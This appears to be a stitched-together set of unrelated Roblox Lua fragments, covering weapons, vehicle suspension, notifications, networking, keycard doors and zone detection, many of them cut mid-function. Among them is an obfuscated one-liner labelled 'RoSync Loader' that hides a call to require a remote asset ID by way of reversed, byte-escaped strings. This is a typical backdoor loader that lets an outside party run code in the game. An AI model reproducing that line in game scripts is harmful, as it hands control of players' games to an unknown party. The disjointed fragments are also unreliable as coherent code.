Humanoid = Character:FindFirstChild("Humanoid")
Torso = Character:FindFirstChild("Torso")
if not CheckIfAlive() then
return
end
ToolEquipped = true
Sounds.Unsheath:Play()
end
function Unequipped()
Tool.Grip = Grips.Up
ToolEquipped = false
end
Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
Connection = Handle.Touched:connect(Blow)
|
--// Ammo Settings
|
Ammo = 30;
StoredAmmo = 30;
MagCount = math.huge; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge;
ExplosiveAmmo = 0;
|
--// All global vars will be wiped/replaced except script
|
return function(data, env)
if env then
setfenv(1, env)
end
local playergui = service.PlayerGui
local localplayer = service.Players.LocalPlayer
local frame = script.Parent.Parent
local nFrame = frame:WaitForChild("Frame");
local iconF = nFrame:WaitForChild("Icon");
local main = nFrame:WaitForChild("Main");
local close = nFrame:WaitForChild("Close");
local title = nFrame:WaitForChild("Title");
local timer = nFrame:WaitForChild("Timer");
local gTable = data.gTable
local clickfunc = data.OnClick
local closefunc = data.OnClose
local ignorefunc = data.OnIgnore
local name = data.Title
local text = data.Message or data.Text or ""
local time = data.Time
local icon = data.Icon or client.MatIcons.Info
local returner = nil
if clickfunc and type(clickfunc)=="string" then
clickfunc = client.Core.LoadCode(clickfunc, GetEnv())
end
if closefunc and type(closefunc)=="string" then
closefunc = client.Core.LoadCode(closefunc, GetEnv())
end
if ignorefunc and type(ignorefunc)=="string" then
ignorefunc = client.Core.LoadCode(ignorefunc, GetEnv())
end
local holder = client.UI.Get("NotificationHolder",nil,true)
if not holder then
client.UI.Make("NotificationHolder")
holder = client.UI.Get("NotificationHolder",nil,true)
holder.Object.ScrollingFrame.Active = false
end
holder = holder.Object.ScrollingFrame
title.Text = name
main.Text = text
iconF.Image = icon
local log = {
Type = "Notification";
Title = name;
Message = text;
Icon = icon or 0;
Time = os.date("%X");
Function = clickfunc;
}
table.insert(client.Variables.CommunicationsHistory, log)
service.Events.CommsPanel:Fire(log)
main.MouseButton1Click:Connect(function()
if frame and frame.Parent then
if clickfunc then
returner = clickfunc()
end
frame:Destroy()
end
end)
close.MouseButton1Click:Connect(function()
if frame and frame.Parent then
if closefunc then
returner = closefunc()
end
gTable:Destroy()
end
end)
frame.Parent = holder
task.spawn(function()
local sound = Instance.new("Sound",service.LocalContainer())
sound.SoundId = 'rbxassetid://'.."203785584"--client.NotificationSound
sound.Volume = 0.2
sound:Play()
wait(0.5)
sound:Destroy()
end)
if time then
timer.Visible = true
repeat
timer.Text = time
wait(1)
time = time-1
until time<=0 or not frame or not frame.Parent
if frame and frame.Parent then
if frame then frame:Destroy() end
if ignorefunc then
returner = ignorefunc()
end
end
end
return returner
end
|
--[[ Last synced 10/19/2020 07:13 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
|
--BE.Event:connect(function() print("Bindable Firing") end)
--RE.OnClientEvent:connect(function() print("Remote Firing") end)
| |
--[=[
Checks if the given object is a Signal.
@param obj any -- Object to check
@return boolean -- `true` if the object is a Signal.
]=]
|
function Signal.Is(obj)
return type(obj) == "table" and getmetatable(obj) == Signal
end
|
--[[
CORE FUNCTIONS:
Comm.Server.BindFunction(parent: Instance, name: string, func: (Instance, ...any) -> ...any, middleware): RemoteFunction
Comm.Server.WrapMethod(parent: Instance, tbl: {}, name: string, inbound: ServerMiddleware?, outbound: ServerMiddleware?): RemoteFunction
Comm.Server.CreateSignal(parent: Instance, name: string, inbound: ServerMiddleware?, outbound: ServerMiddleware?): RemoteSignal
Comm.Client.GetFunction(parent: Instance, name: string, usePromise: boolean, middleware: ClientMiddleware?): (...any) -> ...any
Comm.Client.GetSignal(parent: Instance, name: string, inbound: ClientMiddleware?, outbound: ClientMiddleware?): ClientRemoteSignal
HELPER CLASSES:
serverComm = Comm.Server.ForParent(parent: Instance, namespace: string?): ServerComm
serverComm:BindFunction(name: string, func: (Instance, ...any) -> ...any, inbound: ServerMiddleware?, outbound: ServerMiddleware?): RemoteFunction
serverComm:WrapMethod(tbl: {}, name: string, inbound: ServerMiddleware?, outbound: ServerMiddleware?): RemoteFunction
serverComm:CreateSignal(name: string, inbound: ServerMiddleware?, outbound: ServerMiddleware?): RemoteSignal
serverComm:Destroy()
clientComm = Comm.Client.ForParent(parent: Instance, usePromise: boolean, namespace: string?): ClientComm
clientComm:GetFunction(name: string, usePromise: boolean, inbound: ClientMiddleware?, outbound: ClientMiddleware?): (...any) -> ...any
clientComm:GetSignal(name: string, inbound: ClientMiddleware?, outbound: ClientMiddleware?): ClientRemoteSignal
clientComm:Destroy()
--]]
|
type FnBind = (Instance, ...any) -> ...any
type Args = {
n: number,
[any]: any,
}
type ServerMiddlewareFn = (Instance, Args) -> (boolean, ...any)
type ServerMiddleware = {ServerMiddlewareFn}
type ClientMiddlewareFn = (Args) -> (boolean, ...any)
type ClientMiddleware = {ClientMiddlewareFn}
local Signal = require(script.Parent.Signal)
local Option = require(script.Parent.Option)
local Promise = require(script.Parent.Promise)
local RunService = game:GetService("RunService")
local Players = game:GetService("Players")
local IS_SERVER = RunService:IsServer()
local DEFAULT_COMM_FOLDER_NAME = "__comm__"
local WAIT_FOR_CHILD_TIMEOUT = 60
local function GetCommSubFolder(parent: Instance, subFolderName: string): Option.Option
local subFolder: Instance = nil
if IS_SERVER then
subFolder = parent:FindFirstChild(subFolderName)
if not subFolder then
subFolder = Instance.new("Folder")
subFolder.Name = subFolderName
subFolder.Parent = parent
end
else
subFolder = parent:WaitForChild(subFolderName, WAIT_FOR_CHILD_TIMEOUT)
end
return Option.Wrap(subFolder)
end
|
-- Variables (best not to touch these!)
|
local button = script.Parent .Parent.Parent
local car = script.Parent.Parent.Parent.Parent.Car.Value
local sound = script.Parent.Parent.Start
local st = script.Parent.Parent.Stall
st.Parent = car.DriveSeat
sound.Parent = car.DriveSeat -- What brick the start sound is playing from.
button.MouseButton1Click:connect(function() -- Event when the button is clicked
if script.Parent.Parent.Parent.Text == "Engine: Off" then -- If the text says it's off then..
sound:Play() -- Startup sound plays..
script.Parent.Parent.Parent.Parent.Values.PreOn.Value = true
wait(1.1) -- I don't know what to put for this
script.Parent.Parent.Parent.Parent.Values.PreOn.Value = false
wait(0.2)
script.Parent.Parent.Parent.Parent.IsOn.Value = true -- The car is is on, or in other words, start up the car.
button.Text = "Engine: On" -- You don't really need this, but I would keep it.
else -- If it's on then when you click the button,
st:play()
script.Parent.Parent.Parent.Parent.IsOn.Value = false -- The car is turned off.
button.Text = "Engine: Off"
end -- Don't touch this.
end) -- And don't touch this either.
|
--[[Susupension]]
|
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 100 -- Spring Dampening
Tune.FSusStiffness = 9000 -- Spring Force
Tune.FAntiRoll = 100 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 2 -- Suspension length (in studs)
Tune.FPreCompress = .3 -- Pre-compression adds resting length force
Tune.FExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.FCompressLim = .1 -- Max Compression Travel (in studs)
Tune.FSusAngle = 90 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 100 -- Spring Dampening
Tune.RSusStiffness = 4500 -- Spring Force
Tune.FAntiRoll = 100 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 2 -- Suspension length (in studs)
Tune.RPreCompress = .3 -- Pre-compression adds resting length force
Tune.RExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.RCompressLim = .1 -- Max Compression Travel (in studs)
Tune.RSusAngle = 90 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = true -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Bright red" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
--[[
TODO: Add a function to find first child with an attribute, corotine.resume, coroutine.create shortenings to cr and cc
]]
|
local Utilities = {}
Utilities.cr = coroutine.resume
Utilities.cc = coroutine.create
Utilities.crcc = function(func)
return coroutine.resume(coroutine.create(func))
end
Utilities.FindFirstChildWithAttribute = function(Parent, AttributeName, ReturnAttributeValue, Value)
if type(Parent) == "table" then
Parent = AttributeName
AttributeName = ReturnAttributeValue
end
for _, Child in pairs(Parent:GetChildren()) do
if Child:GetAttribute(AttributeName) then
if ReturnAttributeValue == true then
return Child:GetAttribute(AttributeName)
else
if Value and Child:GetAttribute(AttributeName) == Value then
return Child
--else
-- return Child -- Why?
end
end
end
end
return nil
end
Utilities.FindFirstChildWithPropertyValue = function(Parent, Property, Value)
for _, Child in pairs(Parent:GetChildren()) do
if Child[Property] and Child[Property] == Value then
return Child
end
end
return nil
end
Utilities.GlobalTrackSwitch = function(NewTrack, FadeTime, ClientOnly, Player)
-- Find what Sound in workspace.GlobalSounds is playing, tween fade it out and tween fade in NewTrack
-- Find the current track
local CurrentTrack = Utilities.FindFirstChildWithPropertyValue(workspace.GlobalSounds, "Playing", true)
local NewTrack = workspace.GlobalSounds:FindFirstChild(NewTrack)
local NewTrackInitVol = NewTrack.Volume
--print(CurrentTrack)
-- If the new track is already playing, return
if NewTrack.Playing == true then
return
else
NewTrack:Play()
NewTrack.Volume = 0
end
-- Fade out current track and fade in new track
local CurrentTrackFade = TweenService:Create(CurrentTrack, TweenInfo.new(FadeTime), {Volume = 0})
local NewTrackFade = TweenService:Create(NewTrack, TweenInfo.new(FadeTime), {Volume = NewTrackInitVol})
CurrentTrackFade:Play()
NewTrackFade:Play()
Utilities.crcc(function()
task.wait(FadeTime)
CurrentTrack:Stop()
end)
end
Utilities.TextTransition = function(Object, TextProperty, EndText, Speed, TransitionType)
local StartText = Object[TextProperty]
local StartTextLength = string.len(StartText)
local EndTextLength = string.len(EndText)
local Speed = Speed or 1
local TransitionType = TransitionType or "Collapse"
if TransitionType == "Collapse" then
-- Take one letter from beginning and end until no letters are left, then do the opposite with EndText
for i=2, StartTextLength/2 do -- Collapse
Object[TextProperty] = string.sub(StartText, i, StartTextLength-(i-1))
task.wait(Speed/2*.25)
end
Object[TextProperty] = " "
task.wait(Speed/2*.25)
for i=EndTextLength/2, 0, -1 do -- Expand from middle
Object[TextProperty] = string.sub(EndText, i, EndTextLength-(i-1))
task.wait(Speed/2*.25)
end
elseif TransitionType == "Scramble" then
-- Randomly swap out letters from StartText to EndText
end
end
return Utilities
|
--gun parts
|
local gunparts = {}
for i,v in pairs(gunmodel:GetDescendants()) do
if v:IsA("BasePart") then
table.insert(gunparts, v)
end
end
function guntransparency(tr)
for i,v in pairs(gunparts) do --looping through an already made table alone is faster than getdescendants and then looping
v.LocalTransparencyModifier = tr
end
end
function modeltransparency(m, tr) -- this is for stuff like fps mags
for i,v in pairs(m:GetDescendants()) do
if v:IsA("BasePart") then
v.LocalTransparencyModifier = tr
end
end
end
|
----
--[[
Ball start: 1.4 / Speed is 7.04
Ball at: 2.6
]]
|
--
local IN = hit.Parent.Hair.Handle
|
--[[Susupension]]
|
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 500 -- Spring Dampening
Tune.FSusStiffness = 12000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 2 -- Suspension length (in studs)
Tune.FPreCompress = .15 -- Pre-compression adds resting length force
Tune.FExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.FCompressLim = .1 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 500 -- Spring Dampening
Tune.RSusStiffness = 9000 -- Spring Force
Tune.FAntiRoll = 30 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 2 -- Suspension length (in studs)
Tune.RPreCompress = .09 -- Pre-compression adds resting length force
Tune.RExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.RCompressLim = .1 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = true -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Bright red" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
--end)
|
while true do
if Dead then
break
end
AI()
local n,mag,hum=near()
if n and not Dead then
n=n.p
if not r then
w=.14
local dir=h.Position-n
local tst ,_ =workspace:FindPartOnRay(Ray.new(t.Torso.Position,(n-t.Torso.Position).Unit*999),t)
local aim =n+Vector3.new(math.random(-mag*RecoilSpread,mag*RecoilSpread),math.random(-mag*RecoilSpread,mag*RecoilSpread),math.random(-mag*RecoilSpread,mag*RecoilSpread))+hum
if tst and not Dead then
local FoundHuman,VitimaHuman = CheckForHumanoid(tst)
if FoundHuman == true and VitimaHuman.Health > 0 and game.Players:GetPlayerFromCharacter(VitimaHuman.Parent) and perception >= 10 then
function lookAt(target, eye)
local forwardVector = (eye - target).Unit
local upVector = Vector3.new(0, 1, 0)
-- You have to remember the right hand rule or google search to get this right
local rightVector = forwardVector:Cross(upVector)
local upVector2 = rightVector:Cross(forwardVector)
return CFrame.fromMatrix(eye, rightVector, upVector2)
end
local direction = (n+hum)-h.CFrame.LookVector
script.Parent:SetPrimaryPartCFrame(CFrame.new(t.Head.CFrame.Position,Vector3.new(direction.X,h.CFrame.Y,direction.Z)))
Evt.ACS_AI.AIShoot:FireAllClients(h)
h.Echo:Play()
h.Fire:Play()
local par, pos, Norm, Mat = workspace:FindPartOnRay(Ray.new(h.Position,(aim-h.Position).Unit*999),t)
if par and not Dead then
Hitmaker(par, pos, Norm, Mat)
local FoundHuman,VitimaHuman = CheckForHumanoid(par)
if FoundHuman == true and VitimaHuman.Health > 0 and game.Players:GetPlayerFromCharacter(VitimaHuman.Parent) then
local TotalDistTraveled = (pos - h.Position).Magnitude
------ How much damage the gun inflicts
if par.Name == "Head" or par.Parent.Name == "Top" or par.Parent.Name == "Headset" or par.Parent.Name == "Olho" or par.Parent.Name == "Face" or par.Parent.Name == "Numero" then
local DanoBase = math.random(HeadDamage[1], HeadDamage[2])
local Dano,DanoColete,DanoCapacete = CalcularDano(DanoBase, TotalDistTraveled, VitimaHuman, "Head")
Damage(VitimaHuman,Dano,DanoColete,DanoCapacete)
elseif (par.Parent:IsA('Accessory') or par.Parent:IsA('Hat')) then
local DanoBase = math.random(HeadDamage[1], HeadDamage[2])
local Dano,DanoColete,DanoCapacete = CalcularDano(DanoBase, TotalDistTraveled, VitimaHuman, "Head")
Damage(VitimaHuman,Dano,DanoColete,DanoCapacete)
elseif par.Name == "Torso" or par.Parent.Name == "Chest" or par.Parent.Name == "Waist" then
local DanoBase = math.random(TorsoDamage[1], TorsoDamage[2])
local Dano,DanoColete,DanoCapacete = CalcularDano(DanoBase, TotalDistTraveled, VitimaHuman, "Body")
Damage(VitimaHuman,Dano,DanoColete,DanoCapacete)
elseif par.Name == "Right Arm" or par.Name == "Left Arm" or par.Name == "Right Leg" or par.Name == "Left Leg" or par.Parent.Name == "Back" or par.Parent.Name == "Leg1" or par.Parent.Name == "Leg2" or par.Parent.Name == "Arm1" or par.Parent.Name == "Arm2" then
local DanoBase = math.random(LimbsDamage[1], LimbsDamage[2])
local Dano,DanoColete,DanoCapacete = CalcularDano(DanoBase, TotalDistTraveled, VitimaHuman, "Body")
Damage(VitimaHuman,Dano,DanoColete,DanoCapacete)
else
local DanoBase = math.random(LimbsDamage[1], LimbsDamage[2])
local Dano,DanoColete,DanoCapacete = CalcularDano(DanoBase, TotalDistTraveled, VitimaHuman, "Body")
Damage(VitimaHuman,Dano,DanoColete,DanoCapacete)
end
end
end
ammo=ammo-1
mag=(h.Position-pos).magnitude
t.Humanoid.WalkSpeed = ShootingWalkspeed
--print("Atirando")
local TracerChance = math.random(1,100)
if TracerChance <= Settings.TracerChance.Value then
Evt.ACS_AI.AIBullet:FireAllClients(nil, t.Head.CFrame, Tracer, 0, 2200, (aim-h.Position).Unit,TracerColor,Ray_Ignore, BulletFlare, BulletFlareColor)
end
elseif FoundHuman == true and VitimaHuman.Health > 0 and game.Players:GetPlayerFromCharacter(VitimaHuman.Parent) and perception < 10 then
perception = perception + Settings.Level.Value
t.Humanoid.WalkSpeed = SearchingWalkspeed
Memory = Settings.Level.Value * 100
CanSee = true
elseif perception > 0 then
perception = perception - 1/Settings.Level.Value * 2
t.Humanoid.WalkSpeed = SearchingWalkspeed
CanSee = false
elseif perception <= 0 then
perception = 0
t.Humanoid.WalkSpeed = RegularWalkspeed
Memory = Memory - .25
end
--print(Memory)
end
wait(RPM) -- How fast the enemy shoots
if ammo==0 then
reload()
end
end
end
end
|
--"False" = Not Acceptable Keycard To Open. "True" = Acceptable Keycard To Open.--
|
local door = script.Parent
local bool = false
local CanOpen1 = true
local CanClose1 = false
local AccessDenied = script.Parent.AccessDenied
local AccessGranted = script.Parent.AccessGranted
local clearance = {
["[SCP] Card-Omni"] = true,
["[SCP] Card-L5"] = true,
["[SCP] Card-L4"] = true,
["[SCP] Card-L3"] = true,
["[SCP] Card-L2"] = false,
["[SCP] Card-L1"] = false
}
--DO NOT EDIT PAST THIS LINE--
function openDoor()
script.Parent.DoorOpen:play()
for i = 1,(door.Size.z / 0.30) do
wait()
door.CFrame = door.CFrame - (door.CFrame.lookVector * 0.30)
end
end
function closeDoor()
script.Parent.DoorClose:play()
for i = 1,(door.Size.z / 0.30) do
wait()
door.CFrame = door.CFrame + (door.CFrame.lookVector * 0.30)
end
end
script.Parent.Parent.KeycardReader1.touched:connect(function(touch)
if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then
CanOpen1 = false
AccessGranted:Play()
wait(0.75)
openDoor()
wait(1)
CanClose1 = true
elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then
CanClose1 = false
AccessGranted:Play()
wait(0.75)
closeDoor()
wait(1)
CanOpen1 = true
elseif touch.Name == "Handle" and clearance[touch.Parent.Name] == false and not bool then
bool = true
AccessDenied:Play()
wait(2)
bool = false
end
end)
script.Parent.Parent.KeycardReader2.touched:connect(function(touch)
if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then
CanOpen1 = false
AccessGranted:Play()
wait(0.75)
openDoor()
wait(1)
CanClose1 = true
elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then
CanClose1 = false
AccessGranted:Play()
wait(0.75)
closeDoor()
wait(1)
CanOpen1 = true
elseif touch.Name == "Handle" and clearance[touch.Parent.Name] == false and not bool then
bool = true
AccessDenied:Play()
wait(2)
bool = false
end
end)
|
--Creates an explosion at the specified location. Return sthe explosion.
|
function ExplosionCreator:CreateExplosion(Position,FiredPlayer,ReflectedPlayer,DamageName)
local RegisteredPlayers = {}
--Returns the amount of hit players.
local function GetHitPlayers()
local Count = 0
for _,_ in pairs(RegisteredPlayers) do
Count = Count + 1
end
return Count
end
--Regester hits from exploisions.
local function OnExplosionHit(ExplosionTouchPart,RadiusFromBlast)
local IsInCharacter = false
if ExplosionTouchPart.Size.magnitude/2 < 20 then
local BreakJoints = (ExplosionTouchPart.Name ~= "Bomb")
--Damage the character if one exists and disable breaking joints.
local HitCharacter,HitHumanoid = FindCharacterAncestor(ExplosionTouchPart)
if HitCharacter then
IsInCharacter = true
BreakJoints = false
local HitPlayer = game.Players:GetPlayerFromCharacter(HitCharacter)
if (HitPlayer and not RegisteredPlayers[HitPlayer]) or (not HitPlayer and not RegisteredPlayers[HitCharacter]) then
RegisteredPlayers[HitPlayer or HitCharacter] = true
|
---Green Script---
|
script.Parent.Red.Transparency = 0.9
script.Parent.Yel.Transparency = 0.9
script.Parent.Gre.Transparency = 0.9
while true do
script.Parent.Red.Transparency = 0
script.Parent.Yel.Transparency = 0.9
script.Parent.Gre.Transparency = 0.9
wait (1)
script.Parent.Red.Transparency = 0
script.Parent.Yel.Transparency = 0.9
script.Parent.Gre.Transparency = 0.9
wait (30)
script.Parent.Red.Transparency = 0
script.Parent.Yel.Transparency = 0.9
script.Parent.Gre.Transparency = 0.9
wait (4)
script.Parent.Red.Transparency = 0
script.Parent.Yel.Transparency = 0.9
script.Parent.Gre.Transparency = 0.9
wait (3)
script.Parent.Red.Transparency = 0
script.Parent.Yel.Transparency = 0
script.Parent.Gre.Transparency = 0.9
wait (1)
script.Parent.Red.Transparency = 0.9
script.Parent.Yel.Transparency = 0.9
script.Parent.Gre.Transparency = 0
wait (30)
script.Parent.Red.Transparency = 0.9
script.Parent.Yel.Transparency = 0
script.Parent.Gre.Transparency = 0.9
wait (4)
script.Parent.Red.Transparency = 0
script.Parent.Yel.Transparency = 0.9
script.Parent.Gre.Transparency = 0.9
wait (3)
end
|
-----------------------------------
|
elseif script.Parent.Parent.Parent.TrafficControl.Value == ">" then
script.Parent.Parent.Off.Spotlight2.Transparency = 1
script.Parent.Parent.Off.Spotlight3.Transparency = 1
script.Parent.Parent.Off.Part.Transparency = 1
script.Parent.Parent.Off.Union.Transparency = 1
script.Parent.Parent.Off.a1.Transparency = 1
script.Parent.Parent.Front.Spotlight2.Transparency = 1
script.Parent.Parent.Front.Spotlight2.Point.Enabled = false
script.Parent.Parent.Front.Spotlight2.Lighto.Enabled = false
script.Parent.Parent.Front.Part.Transparency = 1
script.Parent.Parent.Front.Union.Transparency = 1
script.Parent.Parent.Front.a1.Transparency = 1
script.Parent.Parent.Left.Spotlight2.Transparency = 1
script.Parent.Parent.Left.Spotlight2.Point.Enabled = false
script.Parent.Parent.Left.Spotlight2.Lighto.Enabled = false
script.Parent.Parent.Left.Part.Transparency = 1
script.Parent.Parent.Left.Union.Transparency = 1
script.Parent.Parent.Left.a1.Transparency = 1
script.Parent.Parent.Right.Spotlight2.Transparency = 0.3
script.Parent.Parent.Right.Spotlight2.Point.Enabled = true
script.Parent.Parent.Right.Spotlight2.Lighto.Enabled = true
script.Parent.Parent.Right.Part.Transparency = 0
script.Parent.Parent.Right.Union.Transparency = 0
script.Parent.Parent.Right.a1.Transparency = 0
|
--[=[
Provides getting named global [RemoteEvent] resources.
@class GetRemoteEvent
]=]
| |
-- Check the module script for more functions and then do like this "Demo:FunctionName()" like the above example of duration
| |
-- assume we are in the character, let's check
|
function sepuku()
script.Parent = nil
end
local h = script.Parent:FindFirstChild("Humanoid")
if (h == nil) then sepuku() end
local oldSpeed = h.WalkSpeed
h.WalkSpeed = h.WalkSpeed * 1.6
local torso = script.Parent:FindFirstChild("Torso")
if (torso == nil) then sepuku() end
local head = script.Parent:FindFirstChild("Head")
if (head == nil) then head = torso end
local s = Instance.new("Sparkles")
s.Color = Color3.new(.5, 0, 0)
s.Parent = torso
local count = h:FindFirstChild("CoffeeCount")
if (count == nil) then
count = Instance.new("IntValue")
count.Name = "CoffeeCount"
count.Value = 1
count.Parent = h
else
if (count.Value > 3) then
if (math.random() > .5) then
local sound = Instance.new("Sound")
sound.SoundId = "rbxasset://sounds\\Rocket shot.wav"
sound.Parent = head
sound.Volume = 1
sound:play()
local e = Instance.new("Explosion")
e.BlastRadius = 4
e.Position = head.Position
s:Clone().Parent = head
e.Parent = head
end
end
count.Value = count.Value + 1
end
wait(30)
h.WalkSpeed = oldSpeed
s:Remove()
script.Parent = nil
|
--[[
ROBLOX deviation START: inline type for JestAssertionError['matcherResult'] as Lua doesn't support Omit utility type
original code:
class JestAssertionError extends Error {
matcherResult?: Omit<SyncExpectationResult, 'message'> & {message: string};
}
]]
|
type JestMatcherError_matcherResult = {
pass: boolean,
message: string,
}
type JestAssertionError = {
matcherResult: JestMatcherError_matcherResult?,
}
|
--[[
-- the player touched events which utilise active zones at the moment may change to the new CanTouch method for parts in the future
-- hence im disabling this as it may be depreciated quite soon
function ZoneController.getActiveZones()
local zonesArray = {}
for zone, _ in pairs(activeZones) do
table.insert(zonesArray, zone)
end
return zonesArray
end
--]]
|
function ZoneController.getTouchingZones(item, onlyActiveZones, recommendedDetection, tracker)
local exitDetection, finalDetection
if tracker then
exitDetection = tracker.exitDetections[item]
tracker.exitDetections[item] = nil
end
finalDetection = exitDetection or recommendedDetection
local itemSize, itemCFrame
local itemIsBasePart = item:IsA("BasePart")
local itemIsCharacter = not itemIsBasePart
local bodyPartsToCheck = {}
if itemIsBasePart then
itemSize, itemCFrame = item.Size, item.CFrame
table.insert(bodyPartsToCheck, item)
elseif finalDetection == enum.Detection.WholeBody then
itemSize, itemCFrame = Tracker.getCharacterSize(item)
bodyPartsToCheck = item:GetChildren()
else
local hrp = item:FindFirstChild("HumanoidRootPart")
if hrp then
itemSize, itemCFrame = hrp.Size, hrp.CFrame
table.insert(bodyPartsToCheck, hrp)
end
end
if not itemSize or not itemCFrame then return {} end
--[[
local part = Instance.new("Part")
part.Size = itemSize
part.CFrame = itemCFrame
part.Anchored = true
part.CanCollide = false
part.Color = Color3.fromRGB(255, 0, 0)
part.Transparency = 0.4
part.Parent = workspace
game:GetService("Debris"):AddItem(part, 2)
--]]
local partsTable = (onlyActiveZones and activeParts) or allParts
local partToZoneDict = (onlyActiveZones and activePartToZone) or allPartToZone
local boundParams = OverlapParams.new()
boundParams.FilterType = Enum.RaycastFilterType.Whitelist
boundParams.MaxParts = #partsTable
boundParams.FilterDescendantsInstances = partsTable
-- This retrieves the bounds (the rough shape) of all parts touching the item/character
-- If the corresponding zone is made up of *entirely* blocks then the bound will
-- be the actual shape of the part.
local touchingPartsDictionary = {}
local zonesDict = {}
local boundParts = CollectiveWorldModel:GetPartBoundsInBox(itemCFrame, itemSize, boundParams)
local boundPartsThatRequirePreciseChecks = {}
for _, boundPart in pairs(boundParts) do
local correspondingZone = partToZoneDict[boundPart]
if correspondingZone and correspondingZone.allZonePartsAreBlocks then
zonesDict[correspondingZone] = true
touchingPartsDictionary[boundPart] = correspondingZone
else
table.insert(boundPartsThatRequirePreciseChecks, boundPart)
end
end
-- If the bound parts belong to a zone that isn't entirely made up of blocks, then
-- we peform additional checks using GetPartsInPart which enables shape
-- geometries to be precisely determined for non-block baseparts.
local totalRemainingBoundParts = #boundPartsThatRequirePreciseChecks
local precisePartsCount = 0
if totalRemainingBoundParts > 0 then
local preciseParams = OverlapParams.new()
preciseParams.FilterType = Enum.RaycastFilterType.Whitelist
preciseParams.MaxParts = totalRemainingBoundParts
preciseParams.FilterDescendantsInstances = boundPartsThatRequirePreciseChecks
local character = item
for _, bodyPart in pairs(bodyPartsToCheck) do
local endCheck = false
if not bodyPart:IsA("BasePart") or (itemIsCharacter and Tracker.bodyPartsToIgnore[bodyPart.Name]) then
continue
end
local preciseParts = CollectiveWorldModel:GetPartsInPart(bodyPart, preciseParams)
for _, precisePart in pairs(preciseParts) do
if not touchingPartsDictionary[precisePart] then
local correspondingZone = partToZoneDict[precisePart]
if correspondingZone then
zonesDict[correspondingZone] = true
touchingPartsDictionary[precisePart] = correspondingZone
precisePartsCount += 1
end
if precisePartsCount == totalRemainingBoundParts then
endCheck = true
break
end
end
end
if endCheck then
break
end
end
end
local touchingZonesArray = {}
local newExitDetection
for zone, _ in pairs(zonesDict) do
if newExitDetection == nil or zone._currentExitDetection < newExitDetection then
newExitDetection = zone._currentExitDetection
end
table.insert(touchingZonesArray, zone)
end
if newExitDetection and tracker then
tracker.exitDetections[item] = newExitDetection
end
return touchingZonesArray, touchingPartsDictionary
end
local settingsGroups = {}
function ZoneController.setGroup(settingsGroupName, properties)
local group = settingsGroups[settingsGroupName]
if not group then
group = {}
settingsGroups[settingsGroupName] = group
end
-- PUBLIC PROPERTIES --
group.onlyEnterOnceExitedAll = true
-- PRIVATE PROPERTIES --
group._name = settingsGroupName
group._memberZones = {}
if typeof(properties) == "table" then
for k, v in pairs(properties) do
group[k] = v
end
end
return group
end
function ZoneController.getGroup(settingsGroupName)
return settingsGroups[settingsGroupName]
end
local workspaceContainer
local workspaceContainerName = string.format("ZonePlus%sContainer", (runService:IsClient() and "Client") or "Server")
